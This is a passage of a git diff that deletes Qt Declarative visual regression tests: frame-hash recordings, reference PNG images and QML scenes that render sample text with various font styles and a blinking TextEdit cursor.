"b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1200 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1216 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1232 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1248 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1264 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1280 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1296 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1312 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1328 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1344 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1360 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } - Frame { - msec: 1376 - hash: "b902ff73e7c943bb09b5d2ae6c7a760e" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/data/plaintext.0.png b/tests/auto/declarative/visual/qdeclarativetext/font/data/plaintext.0.png deleted file mode 100644 index 50d56dc..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/font/data/plaintext.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/data/plaintext.qml b/tests/auto/declarative/visual/qdeclarativetext/font/data/plaintext.qml deleted file mode 100644 index f4cbcbd..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/font/data/plaintext.qml +++ /dev/null @@ -1,351 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 32 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 48 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 64 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 80 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 96 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 112 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 128 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 144 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 160 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 176 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 192 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 208 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 224 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 240 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 256 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 272 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 288 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 304 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 320 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 336 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 352 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 368 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 384 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 400 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 416 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 432 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 448 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 464 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 480 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 496 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 512 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 528 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 544 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 560 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 576 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 592 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 608 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 624 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 640 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 656 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 672 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 688 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 704 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 720 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 736 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 752 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 768 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 784 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 800 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 816 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 832 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 848 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 864 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 880 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 896 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 912 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 928 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 944 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 960 - image: "plaintext.0.png" - } - Frame { - msec: 976 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 992 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1008 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1024 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1040 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1056 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1072 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1088 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1104 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1120 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1136 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1152 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1168 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1184 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1200 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1216 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1232 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1248 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1264 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1280 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1296 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1312 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1328 - hash: "d553014bc56a46787e30459b0f44f57a" - } - Frame { - msec: 1344 - hash: "d553014bc56a46787e30459b0f44f57a" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/data/richtext.0.png b/tests/auto/declarative/visual/qdeclarativetext/font/data/richtext.0.png deleted file mode 100644 index 2910670..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetext/font/data/richtext.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/data/richtext.qml b/tests/auto/declarative/visual/qdeclarativetext/font/data/richtext.qml deleted file mode 100644 index 9f396c2..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/font/data/richtext.qml +++ /dev/null @@ -1,359 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 32 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 48 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 64 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 80 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 96 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 112 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 128 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 144 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 160 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 176 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 192 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 208 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 224 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 240 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 256 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 272 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 288 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 304 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 320 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 336 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 352 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 368 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 384 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 400 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 416 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 432 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 448 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 464 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 480 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 496 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 512 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 528 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 544 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 560 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 576 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 592 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 608 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 624 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 640 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 656 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 672 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 688 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 704 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 720 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 736 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 752 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 768 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 784 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 800 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 816 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 832 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 848 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 864 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 880 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 896 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 912 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 928 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 944 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 960 - image: "richtext.0.png" - } - Frame { - msec: 976 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 992 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1008 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1024 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1040 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1056 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1072 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1088 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1104 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1120 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1136 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1152 - hash: "dfea78484b840b8cab690e277b960723" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1168 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1184 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1200 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1216 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1232 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1248 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1264 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1280 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1296 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1312 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1328 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1344 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1360 - hash: "dfea78484b840b8cab690e277b960723" - } - Frame { - msec: 1376 - hash: "dfea78484b840b8cab690e277b960723" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/plaintext.qml b/tests/auto/declarative/visual/qdeclarativetext/font/plaintext.qml deleted file mode 100644 index a3aa929..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/font/plaintext.qml +++ /dev/null @@ -1,85 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: s; width: 800; height: 1000; color: "lightsteelblue" - property string text: "The quick brown fox jumps over the lazy dog." - - Column { - spacing: 10 - Text { - text: s.text - } - Text { - text: s.text; font.pixelSize: 18 - } - Text { - text: s.text; font.pointSize: 25 - } - Text { - text: s.text; color: "red"; smooth: true - } - Text { - text: s.text; font.capitalization: "AllUppercase" - } - Text { - text: s.text; font.underline: true - } - Text { - text: s.text; font.overline: true; smooth: true - } - Text { - text: s.text; font.strikeout: true - } - Text { - text: s.text; font.underline: true; font.overline: true; font.strikeout: true - } - Text { - text: s.text; font.letterSpacing: 200 - } - Text { - text: s.text; font.underline: true; font.letterSpacing: 200; font.capitalization: "AllUppercase"; color: "blue" - } - Text { - text: s.text; font.overline: true; font.wordSpacing: 25; font.capitalization: "Capitalize"; color: "green" - } - Text { - text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white" - } - Text { - text: s.text; font.pixelSize: 18; style: Text.Sunken; styleColor: "gray" - } - Text { - text: s.text; font.pixelSize: 18; style: Text.Raised; styleColor: "yellow" - } - Text { - text: s.text; horizontalAlignment: Text.AlignLeft; width: 800 - } - Text { - text: s.text; horizontalAlignment: Text.AlignHCenter; verticalAlignment: Text.AlignVCenter; width: 800; height: 20 - } - Text { - text: s.text; horizontalAlignment: Text.AlignRight; verticalAlignment: Text.AlignBottom; width: 800; height: 20 - } - Text { - text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white"; wrap: true; width: 200 - } - Text { - text: s.text; elide: Text.ElideLeft; width: 200 - } - Text { - text: s.text; elide: Text.ElideMiddle; width: 200 - } - Text { - text: s.text; elide: Text.ElideRight; width: 200 - } - Text { - text: s.text; elide: Text.ElideLeft; width: 200; wrap: true - } - Text { - text: s.text; elide: Text.ElideMiddle; width: 200; wrap: true - } - Text { - text: s.text; elide: Text.ElideRight; width: 200; wrap: true - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetext/font/richtext.qml b/tests/auto/declarative/visual/qdeclarativetext/font/richtext.qml deleted file mode 100644 index 35aa232..0000000 --- a/tests/auto/declarative/visual/qdeclarativetext/font/richtext.qml +++ /dev/null @@ -1,85 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: s; width: 800; height: 1000; color: "lightsteelblue" - property string text: "The quick brown fox jumps over the lazy dog." - - Column { - spacing: 10 - Text { - text: s.text - } - Text { - text: s.text; font.pixelSize: 18 - } - Text { - text: s.text; font.pointSize: 25 - } - Text { - text: s.text; color: "red"; smooth: true - } - Text { - text: s.text; font.capitalization: "AllUppercase" - } - Text { - text: s.text; font.underline: true - } - Text { - text: s.text; font.overline: true; smooth: true - } - Text { - text: s.text; font.strikeout: true - } - Text { - text: s.text; font.underline: true; font.overline: true; font.strikeout: true - } - Text { - text: s.text; font.letterSpacing: 200 - } - Text { - text: s.text; font.underline: true; font.letterSpacing: 200; font.capitalization: "AllUppercase"; color: "blue" - } - Text { - text: s.text; font.overline: true; font.wordSpacing: 25; font.capitalization: "Capitalize"; color: "green" - } - Text { - text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white" - } - Text { - text: s.text; font.pixelSize: 18; style: Text.Sunken; styleColor: "gray" - } - Text { - text: s.text; font.pixelSize: 18; style: Text.Raised; styleColor: "yellow" - } - Text { - text: s.text; horizontalAlignment: Text.AlignLeft; width: 800 - } - Text { - text: s.text; horizontalAlignment: Text.AlignHCenter; verticalAlignment: Text.AlignVCenter; width: 800; height: 20 - } - Text { - text: s.text; horizontalAlignment: Text.AlignRight; verticalAlignment: Text.AlignBottom; width: 800; height: 20 - } - Text { - text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white"; wrap: true; width: 200 - } - Text { - text: s.text; elide: Text.ElideLeft; width: 200 - } - Text { - text: s.text; elide: Text.ElideMiddle; width: 200 - } - Text { - text: s.text; elide: Text.ElideRight; width: 200 - } - Text { - text: s.text; elide: Text.ElideLeft; width: 200; wrap: true - } - Text { - text: s.text; elide: Text.ElideMiddle; width: 200; wrap: true - } - Text { - text: s.text; elide: Text.ElideRight; width: 200; wrap: true - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml deleted file mode 100644 index 5516fc9..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml +++ /dev/null @@ -1,35 +0,0 @@ -import Qt 4.6 - Rectangle { - resources: [ - Component { id: cursorA - Item { id: cPage; - x: Behavior { NumberAnimation { } } - y: Behavior { NumberAnimation { } } - height: Behavior { NumberAnimation { duration: 200 } } - Rectangle { id: cRectangle; color: "black"; y: 1; width: 1; height: parent.height-2; - Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} - Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} - opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Animation.Infinite; - NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} - NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} - } - } - width: 1; - } - } - ] - width: 400 - height: 200 - color: "white" - TextEdit { id: mainText - text: "Hello World" - cursorDelegate: cursorA - focus: true - font.pixelSize: 28 - selectionColor: "lightsteelblue" - selectedTextColor: "deeppink" - color: "forestgreen" - anchors.centerIn: parent - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png deleted file mode 100644 index 464a578..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png deleted file mode 100644 index 9beb1ca..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png deleted file mode 100644 index 001be30..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png deleted file mode 100644 index fc3e4b3..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png deleted file mode 100644 index 24f43e6..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png deleted file mode 100644 index 001223b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png deleted file mode 100644 index 7126e07..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png deleted file mode 100644 index f0bea88..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png deleted file mode 100644 index 4381b8d..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.qml deleted file mode 100644 index 8ee92d7..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.qml +++ /dev/null @@ -1,3555 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 32 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 48 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 64 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 80 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 96 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 112 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 128 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 144 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 160 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 176 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 192 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 208 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 224 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 240 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 256 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 272 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 288 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 304 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 320 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 336 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 352 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 368 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 384 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 400 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 416 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 432 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 448 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 464 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 480 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 496 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 512 - hash: "e0366dbd264ca453f5dad3a7966f17a2" - } - Frame { - msec: 528 - hash: "84cad44c4cccf8a0942865719d05c2eb" - } - Frame { - msec: 544 - hash: "60d24c160adb8e074c04d4f40bf140a8" - } - Frame { - msec: 560 - hash: "ff5fac70804eb01da28c2988aba520a4" - } - Frame { - msec: 576 - hash: "a6bdf56b4f8783969935488e1955e59c" - } - Frame { - msec: 592 - hash: "d0ad97647c5092a64426187406ec5316" - } - Frame { - msec: 608 - hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" - } - Frame { - msec: 624 - hash: "0285340a2e03568810a76d840369f5c8" - } - Frame { - msec: 640 - hash: "6ba6a1a05c5a9ec0d2897b3454affd09" - } - Frame { - msec: 656 - hash: "3caa36cc3857803248d12ec09ea357df" - } - Frame { - msec: 672 - hash: "500f7b72acc877fc1662e4f4ceb090e1" - } - Frame { - msec: 688 - hash: "aadc71923926885ccce87e6be1c742d7" - } - Frame { - msec: 704 - hash: "9b7503189ecf2999934716f227469463" - } - Frame { - msec: 720 - hash: "874296e182abe96e58f9c0463a0f32c9" - } - Frame { - msec: 736 - hash: "4262c79b6844d4d62aa9fb02c335fb95" - } - Frame { - msec: 752 - hash: "a5862eaf12cc342054fd3f8d1f4c91c3" - } - Frame { - msec: 768 - hash: "0034ef8851c9810ed5d50496aea367da" - } - Frame { - msec: 784 - hash: "24cebf60ade86469a154abaa64f3b40d" - } - Frame { - msec: 800 - hash: "1100ef4e2db234ea77ff4c70df6bfbe7" - } - Frame { - msec: 816 - hash: "c40d8d42a55dde7dbbcae2dda9aaccb8" - } - Frame { - msec: 832 - hash: "5c1000fdc279742cbe46987045c0a92b" - } - Frame { - msec: 848 - hash: "bcef4a0ff72330f05f2bf5042e414fde" - } - Frame { - msec: 864 - hash: "228551c38b567f1550b44f9dac08786b" - } - Frame { - msec: 880 - hash: "531c5ca6992c4a12927c61e22c02dd6b" - } - Frame { - msec: 896 - hash: "127cc30967f95cb88f4238e0b33c741d" - } - Frame { - msec: 912 - hash: "3c3fb1d8dbe7443f80550a30ada7f120" - } - Frame { - msec: 928 - hash: "edca065d42bf9b63a79d1e97d1a1eed0" - } - Frame { - msec: 944 - hash: "1e4424f1f40bfce3205e1d1401ab0dcf" - } - Frame { - msec: 960 - image: "cursorDelegate.0.png" - } - Frame { - msec: 976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 992 - hash: 